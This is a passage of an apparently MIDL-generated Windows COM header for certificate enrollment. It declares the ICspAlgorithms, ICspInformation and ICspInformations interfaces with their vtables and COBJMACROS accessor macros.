ICspAlgorithm *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByName( \n            /* [in] */ __RPC__in BSTR strName,\n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithm **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IndexByObjectId( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [retval][out] */ __RPC__out LONG *pIndex) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICspAlgorithmsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICspAlgorithms * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICspAlgorithms * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICspAlgorithms * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICspAlgorithms * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICspAlgorithms * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICspAlgorithms * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICspAlgorithms * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ICspAlgorithms * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithm **pVal);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ICspAlgorithms * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ICspAlgorithms * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id][custom] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ICspAlgorithms * This,\n            /* [in] */ __RPC__in_opt ICspAlgorithm *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ICspAlgorithms * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ICspAlgorithms * This);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByName )( \n            __RPC__in ICspAlgorithms * This,\n            /* [in] */ __RPC__in BSTR strName,\n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithm **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IndexByObjectId )( \n            __RPC__in ICspAlgorithms * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [retval][out] */ __RPC__out LONG *pIndex);\n        \n        END_INTERFACE\n    } ICspAlgorithmsVtbl;\n\n    interface ICspAlgorithms\n    {\n        CONST_VTBL struct ICspAlgorithmsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICspAlgorithms_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICspAlgorithms_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICspAlgorithms_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICspAlgorithms_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICspAlgorithms_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICspAlgorithms_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICspAlgorithms_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICspAlgorithms_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ICspAlgorithms_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ICspAlgorithms_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ICspAlgorithms_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ICspAlgorithms_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ICspAlgorithms_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define ICspAlgorithms_get_ItemByName(This,strName,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ItemByName(This,strName,ppValue) ) \n\n#define ICspAlgorithms_get_IndexByObjectId(This,pObjectId,pIndex)\t\\\n    ( (This)->lpVtbl -> get_IndexByObjectId(This,pObjectId,pIndex) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICspAlgorithms_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0008 */\n/* [local] */ \n\ntypedef \nenum X509KeySpec\n    {\n        XCN_AT_NONE\t= 0,\n        XCN_AT_KEYEXCHANGE\t= 1,\n        XCN_AT_SIGNATURE\t= 2\n    } \tX509KeySpec;\n\n\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0008_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0008_v0_0_s_ifspec;\n\n#ifndef __ICspInformation_INTERFACE_DEFINED__\n#define __ICspInformation_INTERFACE_DEFINED__\n\n/* interface ICspInformation */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICspInformation;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab307-217d-11da-b2a4-000e7bbb2b09\")\n    ICspInformation : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeFromName( \n            /* [in] */ __RPC__in BSTR strName) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromType( \n            /* [in] */ X509ProviderType Type,\n            /* [in] */ __RPC__in_opt IObjectId *pAlgorithm,\n            /* [in] */ VARIANT_BOOL MachineContext) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_CspAlgorithms( \n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithms **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_HasHardwareRandomNumberGenerator( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IsHardwareDevice( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IsRemovable( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IsSoftwareDevice( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Valid( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_MaxKeyContainerNameLength( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Name( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Type( \n            /* [retval][out] */ __RPC__out X509ProviderType *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Version( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_KeySpec( \n            /* [retval][out] */ __RPC__out X509KeySpec *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IsSmartCard( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetDefaultSecurityDescriptor( \n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_LegacyCsp( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCspStatusFromOperations( \n            /* [in] */ __RPC__in_opt IObjectId *pAlgorithm,\n            /* [in] */ AlgorithmOperationFlags Operations,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICspInformationVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICspInformation * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICspInformation * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICspInformation * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICspInformation * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICspInformation * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICspInformation * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICspInformation * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromName )( \n            __RPC__in ICspInformation * This,\n            /* [in] */ __RPC__in BSTR strName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromType )( \n            __RPC__in ICspInformation * This,\n            /* [in] */ X509ProviderType Type,\n            /* [in] */ __RPC__in_opt IObjectId *pAlgorithm,\n            /* [in] */ VARIANT_BOOL MachineContext);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspAlgorithms )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithms **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_HasHardwareRandomNumberGenerator )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IsHardwareDevice )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IsRemovable )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IsSoftwareDevice )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Valid )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_MaxKeyContainerNameLength )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Name )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out X509ProviderType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Version )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeySpec )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out X509KeySpec *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IsSmartCard )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetDefaultSecurityDescriptor )( \n            __RPC__in ICspInformation * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_LegacyCsp )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCspStatusFromOperations )( \n            __RPC__in ICspInformation * This,\n            /* [in] */ __RPC__in_opt IObjectId *pAlgorithm,\n            /* [in] */ AlgorithmOperationFlags Operations,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue);\n        \n        END_INTERFACE\n    } ICspInformationVtbl;\n\n    interface ICspInformation\n    {\n        CONST_VTBL struct ICspInformationVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICspInformation_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICspInformation_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICspInformation_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICspInformation_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICspInformation_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICspInformation_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICspInformation_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICspInformation_InitializeFromName(This,strName)\t\\\n    ( (This)->lpVtbl -> InitializeFromName(This,strName) ) \n\n#define ICspInformation_InitializeFromType(This,Type,pAlgorithm,MachineContext)\t\\\n    ( (This)->lpVtbl -> InitializeFromType(This,Type,pAlgorithm,MachineContext) ) \n\n#define ICspInformation_get_CspAlgorithms(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspAlgorithms(This,ppValue) ) \n\n#define ICspInformation_get_HasHardwareRandomNumberGenerator(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_HasHardwareRandomNumberGenerator(This,pValue) ) \n\n#define ICspInformation_get_IsHardwareDevice(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_IsHardwareDevice(This,pValue) ) \n\n#define ICspInformation_get_IsRemovable(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_IsRemovable(This,pValue) ) \n\n#define ICspInformation_get_IsSoftwareDevice(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_IsSoftwareDevice(This,pValue) ) \n\n#define ICspInformation_get_Valid(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Valid(This,pValue) ) \n\n#define ICspInformation_get_MaxKeyContainerNameLength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_MaxKeyContainerNameLength(This,pValue) ) \n\n#define ICspInformation_get_Name(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Name(This,pValue) ) \n\n#define ICspInformation_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define ICspInformation_get_Version(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Version(This,pValue) ) \n\n#define ICspInformation_get_KeySpec(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeySpec(This,pValue) ) \n\n#define ICspInformation_get_IsSmartCard(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_IsSmartCard(This,pValue) ) \n\n#define ICspInformation_GetDefaultSecurityDescriptor(This,MachineContext,pValue)\t\\\n    ( (This)->lpVtbl -> GetDefaultSecurityDescriptor(This,MachineContext,pValue) ) \n\n#define ICspInformation_get_LegacyCsp(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_LegacyCsp(This,pValue) ) \n\n#define ICspInformation_GetCspStatusFromOperations(This,pAlgorithm,Operations,ppValue)\t\\\n    ( (This)->lpVtbl -> GetCspStatusFromOperations(This,pAlgorithm,Operations,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICspInformation_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICspInformations_INTERFACE_DEFINED__\n#define __ICspInformations_INTERFACE_DEFINED__\n\n/* interface ICspInformations */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICspInformations;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab308-217d-11da-b2a4-000e7bbb2b09\")\n    ICspInformations : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformation **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id][custom] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ICspInformation *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE AddAvailableCsps( void) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByName( \n            /* [in] */ __RPC__in BSTR strName,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformation **ppCspInformation) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE GetCspStatusFromProviderName( \n            /* [in] */ __RPC__in BSTR strProviderName,\n            /* [in] */ X509KeySpec LegacyKeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE GetCspStatusesFromOperations( \n            /* [in] */ AlgorithmOperationFlags Operations,\n            /* [in] */ __RPC__in_opt ICspInformation *pCspInformation,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetEncryptionCspAlgorithms( \n            /* [in] */ __RPC__in_opt ICspInformation *pCspInformation,\n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithms **ppValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetHashAlgorithms( \n            /* [in] */ __RPC__in_opt ICspInformation *pCspInformation,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICspInformationsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICspInformations * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICspInformations * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICspInformations * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICspInformations * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformation **pVal);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ICspInformations * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ICspInformations * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id][custom] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ __RPC__in_opt ICspInformation *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ICspInformations * This);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *AddAvailableCsps )( \n            __RPC__in ICspInformations * This);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByName )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ __RPC__in BSTR strName,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformation **ppCspInformation);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *GetCspStatusFromProviderName )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ __RPC__in BSTR strProviderName,\n            /* [in] */ X509KeySpec LegacyKeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *GetCspStatusesFromOperations )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ AlgorithmOperationFlags Operations,\n            /* [in] */ __RPC__in_opt ICspInformation *pCspInformation,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetEncryptionCspAlgorithms )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ __RPC__in_opt ICspInformation *pCspInformation,\n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithms **ppValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetHashAlgorithms )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ __RPC__in_opt ICspInformation *pCspInformation,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        END_INTERFACE\n    } ICspInformationsVtbl;\n\n    interface ICspInformations\n    {\n        CONST_VTBL struct ICspInformationsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICspInformations_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICspInformations_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICspInformations_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICspInformations_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICspInformations_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICspInformations_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICspInformations_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICspInformations_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ICspInformations_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ICspInformations_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define 